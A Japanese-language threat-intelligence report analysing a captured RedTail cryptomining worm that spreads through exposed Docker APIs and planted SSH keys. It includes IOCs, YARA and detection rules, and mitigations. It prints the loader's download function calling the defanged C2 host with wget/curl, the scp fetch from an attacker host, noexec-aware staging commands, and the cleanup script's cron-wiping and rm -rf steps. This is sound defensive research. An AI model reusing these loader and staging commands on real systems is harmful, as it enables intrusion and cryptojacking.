malware · cryptomining · redtail · docker · linux · honeypot · worm
RedTail キャンペーンの内側:露出した Docker API を通じた自己増殖
Kinryū Labs のハニーポットが、認証なしの Docker Engine API と投下された SSH 鍵を通じて広がる RedTail マイナーを捕捉した。本稿は、ローダー、競合除去スクリプト、マイナー本体、そしてリアルタイムの指標を含む、現行かつ完全に捕獲した一例を記録する。
著者 Davis Zheng·
TLP:CLEAR。一般公開を承認済み。出所は Kinryū Labs ハニーポット・センサーネットワーク。ここにある指標はすべて防御目的のもの。攻撃者の秘密鍵は捕獲したが公開しない。ここに現れるのは公開鍵の指紋のみ。攻撃者の IP とドメインは無害化(defang)済み。
エグゼクティブサマリー
- 2375露出した Docker API、侵入口
- 4標的とされた CPU アーキテクチャ
- ~21秒我々のハニーポットで記録した完全な侵入
- ワーム化可能マイナーに内蔵された SSH クライアント
2026 年 6 月上旬から中旬にかけて、我々のハニーポットネットワークは、TCP/2375 上でインターネットに露出した Docker Engine API を通じて広がり、2023 年後半から存在する XMRig ベースのモネロ・マイナー RedTail を投下するワームを捕捉した。攻撃者は開いた Docker API を通じて稼働中のコンテナを列挙し、その一つひとつの中でコマンドを実行し、永続化と横展開のための SSH 秘密鍵を投下し、続いてマルチアーキテクチャのローダーを取得する。そのローダーは、拡散のための自前の SSH クライアントと、新たな標的を見つけるための libpcap スニファーを備えたマイナーをインストールする。
ペイロードは紛れもなく RedTail だ。RedTail は Web アプリの脆弱性(PAN-OS、Ivanti、Log4Shell、PHP-CGI、TP-Link)経由での到来で最もよく知られているが、露出した Docker API の利用についても先行報告がある。本稿が補うのは、その Docker-API 投下の現行かつ完全に捕獲した一例である。すなわち、リアルタイムの C2 と指標、ホストの自己複製を可能にする SSH 鍵の投下、そして従来の報告が指し示しながらも回収していなかった競合除去スクリプトだ。我々はこの自己複製ロジックを内部で docker.selfrep として追跡している。
マイナーは暗号化された実行時設定を携え、ウォレットを内蔵していないため、検体からモネロのアドレスを取り出すことはできない。それを回収するには、ネットワーク捕捉を伴う実行時の起爆が必要だ。
主要な判断
- ペイロードは RedTail(高い確度)。
libredtail evbuffer_tls文字列、.redtailの痕跡、ローダー内のredtailフォールバック名、そして「暗号化設定 / ウォレットなし」のビルドは、いずれもこの一族の 2024 年以降のバージョンと一致する。 - このキャンペーンはワーム化可能(高い確度)。Docker-API のツール群、投下された鍵、マイナー内蔵の SSH クライアントは、感染したてのホストが自力で次の被害者を探しに行くのに必要なすべてだ。
- 操作者の目的は金(中程度の確度)。認証情報の窃取とスニッフィングは、別個のデータ窃取目的というより、拡散に資するものに見える。
- Docker-API という侵入経路は RedTail について先行報告があり、今も十分に通用する。TCP/2375 上の露出したソケット一つで、攻撃者はホスト上の全コンテナ内で root としてのコード実行を得る。
攻撃チェーン
[0] 偵察 露出した Docker API :2375 をインターネット走査
│
[1] 初期アクセス 認証なしの Docker API → コンテナを列挙
│ (T1190 Exploit Public-Facing Application)
│
[2] 実行 稼働中の全コンテナへ docker exec
│ (T1609 Container Administration Command)
│
[3] 永続化 / コンテナの ~/.ssh に ed25519 鍵 "dlr@sftp" を投下
横展開準備 (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
│
[4] 取得(第二段階) ローダーを取得:scp [email protected][.]113:sh (主)
│ hxxps://14.46.136[.]77/sh (フォールバック)
│ (T1105 Ingress Tool Transfer)
│
[5] 防御回避 ローダー:noexec マウントを探す → 回避;隠し ".<random>"
│ ファイル名;"clean" 競合除去を実行して破棄
│
[6] 取得(第三段階) ローダーが C2 から対象アーキの ELF(x86_64/i686/aarch64/arm7)を取得
│
[7] 実行 memfd_create → RedTail マイナーを無ファイル起動
│ (T1620 Reflective Code Loading)
│
[8] 影響 XMRig モネロ・マイニング (T1496 Resource Hijacking)
+ 認証情報アクセス libpcap スニッフィング + ssh-agent/鍵の窃取 (T1040 / T1552.004)
+ 横展開 内蔵 SSH クライアントが発見したホストへ拡散 (T1021.004)
第一段階:Docker API 経由の初期アクセス
攻撃者は、TCP/2375 上で認証なしの REST API を露出している Docker Engine インスタンスを狙う。我々の Docker-API ハニーポットは実機のエンジンを模倣しており、一連の流れをおよそ 21 秒で記録した。
GET /versionとGET /containers/jsonでエンジンの指紋を採り、コンテナを一覧。- 稼働中の全コンテナに対し
POST /containers/{id}/exec、続いてPOST /exec/{id}/start。 - 攻撃者の SSH 鍵を書き込み、ローダーを取得するコンテナ内 shell ペイロード。
その最後の手順こそ、これを単発のマイナーからワームへ変えるものだ。感染し、たまたま自分の Docker API を露出しているホストは、同じ「列挙して exec する」手順を次の被害者群に対して実行する。我々はそのロジックを docker.selfrep と呼ぶ。
投下された SSH 鍵(永続化と横展開)
| 属性 | 値 |
|---|---|
| 種類 | OpenSSH ed25519 秘密鍵 |
| コメント | dlr@sftp |
| 公開鍵 SHA256 指紋 | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg |
| 取得元(SCP チャネル) | [email protected][.]113 |
我々は秘密鍵を公開しない。上記の指紋を使って探索すること。機群全体で
authorized_keysと~/.sshを確認すること。
第二段階:/sh ローダー
SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
MD5: 0df4fe0f1e3e8b0941f0d1442f132700
種類: POSIX shell スクリプト
小さく、可搬で、しかも慎重なローダーだ。
ランダムな隠しファイル名。 get_random_string() は 4〜35 文字の英数字名を組み立て、/dev/urandom、次に openssl、次に $RANDOM を試し、いずれも失敗すれば字面の文字列 redtail にフォールバックする。そのフォールバック名は便利な一族の手掛かりだ。マイナーは、素の ls から外すための先頭ドット付きで .<random> として着地する。VirusTotal はこの検体を、そうした名前の一つ .mn6VTucEsFZY1PdSC2QAq で収録している。
ダウンロード補助関数。 dlr() は、C2 が自己署名であるため TLS 検証を切り、wget から curl へフォールバックする。
dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
|| curl -skO hxxps://14.46.136[.]77/$1 ; }
noexec を意識したステージング。 ローダーは /proc/mounts を読み、すべての noexec マウントを除外し、find / -user $(whoami) -perm -u=rwx を実行して、書き込みも実行もできる場所を探す。使用前に、各候補を 2 MB の dd か truncate で書き込みテストする。たいていのローダーは単に /tmp に書いて済ませる。これは、実行できると確信できる場所に着地するために手間をかける。
競合のクリーンアップ。 clean を取得して実行し(dlr clean; chmod +x clean; sh clean; rm -rf clean)、その後に削除する。我々はそのスクリプトも入手し、下記で分解する。それは競合の永続化とステージングを狙い、稼働中のプロセスには手を出さない。
後片付け。 新しいものをインストールする前に、.redtail と直前の .<random> ファイルを削除する。
アーキテクチャの選択。 uname -mp の分岐がビルドを選ぶ。
| ARCH 一致 | ダウンロード |
|---|---|
x86_64 / amd64 | x86_64 |
i[3456]86 | i686 |
armv8 / aarch64 | aarch64 |
armv7 | arm7 |
| 不明 | 四つすべてを総当たりし、それぞれを実行 |
実行。 ./.<random> $1。ローダー本来の $1 を渡し、RedTail はそれをキャンペーンまたは入口のタグとして扱う。
clean 競合除去スクリプト
SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5: 397ff5e54194072e6d8a44a0d8cc1b27
種類: Bash スクリプト(795 バイト)
我々はハニーポットへの後続のヒットで clean を捕獲した。稼働中のプロセスには手を出さない。その全任務は、RedTail が独占できるよう、マシン上の他のマルウェアを片付けることだ。
-
Cron のクリーンアップ。 すべてのユーザー crontab(
/var/spool/cron/crontabs/*)、システム crontab(/etc/crontab、/etc/crontabs)、drop-in ディレクトリ(/etc/cron.{hourly,daily,weekly,monthly,d})、そして/etc/anacrontabに対し、chattr -iaで変更不可ビットを外し(競合のマルウェアが自分の cron 行を守るために設定している)、続いて再感染パターンに一致する任意の行を削除する。wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -dこれは、他の集団のダウンロード用クレードルやリバースシェル を引き抜きつつ、正当な cron エントリには手を付けない。
-
名指しの対手を kill。
c3pool_minersystemd サービスを無効化して停止する。c3pool マイナーへの直接の一撃だ。 -
ステージングの一掃。
rm -rfで/tmp、/var/tmp、/dev/shmを空にし、競合のペイロードと、彼らが共有するスクラッチ領域を消し去る。
永続化とステージングを叩くのは、より静かな手だ。再起動を生き延び(さもなくば残った cron エントリがホストを再感染させる)、大量のプロセス kill の騒がしさを避ける。
第三段階:RedTail マイナー(x86_64)
SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5: aaa5098c9caafccf15362b017825c64b
サイズ: 1,880,264 バイト(1.79 MB)
形式: ELF 64-bit LSB EXEC(静的リンク、non-PIE)、x86-64、エントリ 0xaa9e18
パッカー: UPX 5.02($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team)
VirusTotal: 36/62 が悪性判定、コミュニティスコア −60、初観測 約 2026-06-05
脅威ラベル: trojan.usblem26/abminer;一族 usblem26 / abminer / gen3
パッキングと耐解析
- ヘッダーが残った UPX 5.02。
upx -dできれいに、およそ 5 MB の静的リンク ELF に解凍できる。 - 無ファイル実行。VirusTotal のコードインサイトは、
memfd_create(システムコール0x13f)を使って匿名メモリのファイルディスクリプタから直接ペイロードを実行し、/proc/self/exeでの再実行と/dev/shmでのステージングを行う様子を示す。何もディスクに触れないため、ディスクベースの AV には一切見えない。 - プロセス名のなりすまし(
sets-process-name)で通常のプロセスに紛れ込む。 - デバッガ回避(
detect-debug-environment)。公開された RedTail の報告は、ptraceによる自己デバッグと、バイナリが GDB を能動的に kill することを記述している。 - ホスト AV についての注記。Microsoft Defender はパック済みの ELF を
Trojan:Linux/Multiverze!rfnとして検知し、ディスクから読み取ることを阻止するため、静的な初判は隔離環境かメモリ上で行わねばならない。
確認された構成要素(解凍後の .rodata 文字列から)
XMRig マイニングコア
randomx/0 cryptonight-monerov7 cryptonight-monerov8
XMRIG_VERSION donate-level donate-over-proxy pool address
stratum+tcp:// stratum+ssl://
/var/build/xmrig/scripts/build/ (hwloc-2.12.2, abseil-cpp)
libredtail、この一族を定義づけるネットワークスタック
libredtail evbuffer_tls
Connection keepalive User-Agent
カスタムの libevent に TLS の HTTP クライアントを足したもの。libredtail evbuffer_tls 文字列こそ、RedTail を素の XMRig ビルドから区別するものだ。
内蔵 SSH クライアント(横展開と認証情報窃取)
ssh-userauth ssh-ed25519 [email protected]
[email protected] [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"
マイナーは完全な SSH クライアントを携えている。それが dlr@sftp 鍵の投下と拡散の背後にあるエンジンだ。マイナー本体が自分で認証情報の窃取と SSH 拡散を担う。そのどれも投下器には存在しない。
内蔵 libpcap(ネットワークスニッフィング)
"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"
ホスト上でのパケットキャプチャであり、ホストや認証情報のローカル探索と整合する。
エンコーディングテーブル。 標準と URL セーフ両方の Base64 アルファベットが現れ(...+/ と ...-_)、設定のデコード処理に使われる。
設定と帰属の空白
我々は解凍後のバイナリを、IP、URL、stratum、pool、そしてモネロのアドレスのパターンについて入念に探した。そこにある唯一のプールは XMRig 内蔵の開発者寄付プール(donate.ssl.xmrig.com、donate.v2.xmrig.com)であり、どの XMRig ビルドも携えるもので、操作者は制御していない。平文には攻撃者のプールも代理もウォレットもない。
それは意図的であり、RedTail が 2024 年以降に向かった先と一致する。マイニング設定は暗号化され、実行時にメモリ上でのみ復号される。近年のビルドはウォレットを一切携えず、代わりにプライベートなプールかプール代理を指し示している。したがって。
- この検体からモネロのウォレットを得ることはできない。
- プール代理は、ネットワークシンクを伴う実行時の起爆からしか出てこない(手法を参照)。
帰属
これは RedTail、別名 .redtail マイナー、2023 年後半から 2024 年初頭ごろに初めて報告された XMRig 由来のモネロ・マイナーだ。一致する点。
- それ独自の
libredtail evbuffer_tls文字列。 .redtailの痕跡と、ローダー内のredtailフォールバック名。- 「暗号化設定 / ウォレットなし」のビルド、マルチアーキのローダー、
clean競合スクリプト、そして SSH 認証情報の窃取——いずれも既知の RedTail の特徴だ。
比較のために、この一族について既に記録されている投下経路は CVE-2024-3400(PAN-OS)、CVE-2023-46805 と CVE-2024-21887(Ivanti)、CVE-2021-44228(Log4Shell)、CVE-2024-4577(PHP-CGI)、そして CVE-2023-1389(TP-Link)だ。VirusTotal はこの検体に CVE-2021-41773(Apache 2.4.49/2.4.50 のパストラバーサルから RCE)と CVE-2015-2808(RC4、“Bar Mitzvah”)のタグも付けている。
RedTail による露出した Docker API の利用には先行報告があり、経路自体は古い。本稿が補うのは、その現行の捕獲だ。リアルタイムの C2 とペイロードのハッシュ、回収した clean スクリプト、そして投下鍵による自己複製の詳細である。
展望
マイナー集団は、ペイロードを変えるよりはるかに頻繁に侵入方法を変える。そして RedTail のモジュール式ローダーは、ある入口を別のものへ差し替えるのを容易にする。露出した Docker ソケットは、まさにその得意領域に収まる。機会主義的な Linux 活動の多くはクラウドネイティブの設定ミスへ漂流しており、開いた Docker API 一つで、攻撃者はマシン上の全コンテナ内の root を手にする。RedTail は以前にもここに来ており、インターネットに露出した 2375 の安定供給が、それを引き合うものに保ち続けている。
我々は、操作者が Docker-API 経路を Web の脆弱性と並行して維持する——一方を他方で置き換えるのではなく——可能性が高いと考える。それは到達可能なホストを増やすだけだ。コンテナを運用しているなら、露出した Docker API は公開インターネット上に置かれているものとして扱うこと。実質的にそうなのだから。
侵害指標
ネットワーク
| 指標 | 説明 |
|---|---|
14.46.136[.]77 | C2 / ペイロードホスト(HTTPS、自己署名)。/sh、/clean、/x86_64、/i686、/aarch64、/arm7 を提供。クラウド出口を ASN でフィルタ。 |
hxxps://14.46.136[.]77/sh | 第二段階ローダーの URL |
hxxps://14.46.136[.]77/clean | 競合除去スクリプト(cron / ステージングの一掃) |
217.60.195[.]113 | SCP 鍵 / ペイロードの取得元([email protected][.]113) |
ファイル(SHA256 / MD5)
| ファイル | SHA256 | MD5 |
|---|---|---|
sh(ローダー) | 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf | 0df4fe0f1e3e8b0941f0d1442f132700 |
clean(競合一掃) | d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e | 397ff5e54194072e6d8a44a0d8cc1b27 |
x86_64(マイナー) | 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 | aaa5098c9caafccf15362b017825c64b |
ホスト上の痕跡
| 指標 | 説明 |
|---|---|
.redtail | マイナーの痕跡 / 既往感染のマーカー |
.<ランダム英数字> 例:.mn6VTucEsFZY1PdSC2QAq | 隠しマイナーのファイル名(先頭ドット + ランダム) |
SSH 鍵コメント dlr@sftp | 投下された鍵 |
公開鍵指紋 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg | 投下された鍵の指紋;authorized_keys で探索 |
/dev/shm、/var/tmp、/tmp、または任意のユーザー書き込み可能 rwx ディレクトリにステージングされたファイル | ステージング場所 |
挙動
- 匿名のファイルディスクリプタから ELF を実行する
memfd_create(システムコール0x13f)。 /proc/mountsを読み、続いてfind / -perm -u=rwxを実行するプロセス(noexec を意識したステージング)。- プロセス名のなりすまし;
ptraceを用いたデバッガ回避。 - 非標準のホストへの外向き
stratum+tcp:///stratum+ssl://。 systemctl disable c3pool_minerとsystemctl stop c3pool_miner(競合の駆逐)。- crontab パスに対する
chattr -iaの直後に、cron からwget/curl/ リバースシェル行を一括削除。 /tmp/*、/var/tmp/*、/dev/shm/*へのrm -rf(競合ステージングの一掃)。
検知
ホスト側検知(プロセス / EDR ロジック)
次の順で動作するプロセスに対して警報を上げること。
/proc/mountsを読み、続いてfind / ... -perm -u=rwx ...を実行し、かつ- 全員書き込み可能なディレクトリに、先頭ドットでランダム命名のファイルを書き込み、かつ
memfd_createを呼び、得られたファイルディスクリプタから実行する。
これらのどれか一つだけでは弱い。三つ揃えば、このローダーの強いシグナルだ。
候補 YARA(解凍後のバイナリ)
rule RedTail_Miner_libredtail
{
meta:
description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
reference = "Kinryu Labs CTI 2026-06-12"
hash = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
strings:
$rt = "libredtail evbuffer_tls" ascii
$xm1 = "randomx/0" ascii
$xm2 = "stratum+ssl://" ascii
$ssh = "[email protected]" ascii
condition:
uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}
このルールは UPX 解凍後のバイナリに一致する。パック済みの検体については、UPX シグネチャ、ファイルサイズ(約 1.79 MB)、そして上記の VirusTotal ハッシュを起点にすること。
ネットワーク側検知
14.46.136[.]77と217.60.195[.]113への外向き通信を遮断し、警報を上げること。- 任意の非許可先への
stratum+tcp/stratum+sslに警報を上げること。 - 単一文字またはアーキ名のパス(
/sh、/x86_64、/aarch64、/arm7)への HTTP(S) GET に警報を上げること。
緩和策
- Docker API(2375/2376)を信頼できないネットワークに露出しないこと。localhost か保護されたソケットにバインドし、TLS クライアント証明書認証を必須にすること。その一つの対策が、初期アクセスの手順をきっぱり断ち切る。
- 機群全体で
~/.ssh/authorized_keysを、dlr@sftp鍵とその指紋について監査すること。 - stratum 通信と上記の C2 IP を出口フィルタし、監視すること。
- 可能な場所では
/tmp、/var/tmp、/dev/shmをnoexecでマウントすること。ハードルは上がるが、このローダーは noexec を意識しており、別の書き込み・実行可能なディレクトリを探しに行く。 - コンテナを堅牢化すること。不要な capability を落とし、読み取り専用のルートファイルシステムを使い、最小権限で動かして、
exec-in が攻撃者に使える実行環境を渡さないようにすること。
MITRE ATT&CK マッピング
| 戦術 | 技術 |
|---|---|
| 初期アクセス | T1190 Exploit Public-Facing Application(Docker API) |
| 実行 | T1609 Container Administration Command;T1059.004 Unix Shell |
| 永続化 | T1098.004 SSH Authorized Keys |
| 防御回避 | T1027.002 Software Packing(UPX);T1620 Reflective / Memory Code Loading(memfd_create);T1564.001 Hidden Files;T1036.004 Masquerade Task or Process Name;T1622 Debugger Evasion;T1070.004 File Deletion |
| 認証情報アクセス | T1552.004 Private Keys;T1040 Network Sniffing |
| 探索 | T1046 Network Service Scanning;T1082 System Information Discovery;T1057 Process Discovery;T1018 Remote System Discovery |
| 横展開 | T1021.004 Remote Services: SSH;T1570 Lateral Tool Transfer |
| コマンド&コントロール | T1071.001 Web Protocols;T1573 Encrypted Channel;T1105 Ingress Tool Transfer |
| 影響 | T1496 Resource Hijacking(マイニング) |
手法とアナリストノート
- 第二段階と第三段階は、リアルタイムの C2 から HTTPS 経由で取得した。
14.46.136[.]77はクラウド IP に対してはタイムアウトする(AWS/EC2 から試した)が、住宅用や一般の IP には正常に提供する。これは自動化されたクラウドサンドボックスを破る ASN または地理的な出口フィルタだ。 - パック済みの ELF は Microsoft Defender(
Trojan:Linux/Multiverze!rfn)を発火させ、保護された Windows ホストではディスクから読み取ることすらできない。そのため最初の初判はメモリ上で行い、生の ELF を一度も書き出すことなく、Python プロセス内でアーカイブを解凍した。 - 解凍は隔離した FLARE-VM 内で
upx -dを用いて行った。解凍後のバイナリは、実行せず、文字列と構造によって静的に解析した。 - マイナーは実行していないため、実行時に復号されるプール代理とモネロ設定は本稿にはない。
推奨される追加調査(プール代理の指標を得るため)
プール代理を得るには、解凍後のバイナリを隔離した Linux マシン(REMnux で可)上で、以下と併せて起爆すること。
- 接続を引き出すためのネットワークシンク(INetSim、または
fakednsに TCP のキャッチオール捕獲を加えたもの)、 - stratum の CONNECT とログインを捕らえるための
tcpdump -i any -w redtail.pcap、そして - マイナーが最初の
connect()の直前に復号する平文設定を掴むためのstrace -f。これは TLS が通信路上で隠している場合でも、しばしば読み取れる。
そのホストとポートが、このキャンペーンで唯一まだ取得できていない指標だ。
検体
検体(ローダー、clean スクリプト、パック済みのマイナー)は、他の研究者や防御側の求めに応じて提供可能。[email protected] まで、あなたが誰で何のために必要かを添えてメールを。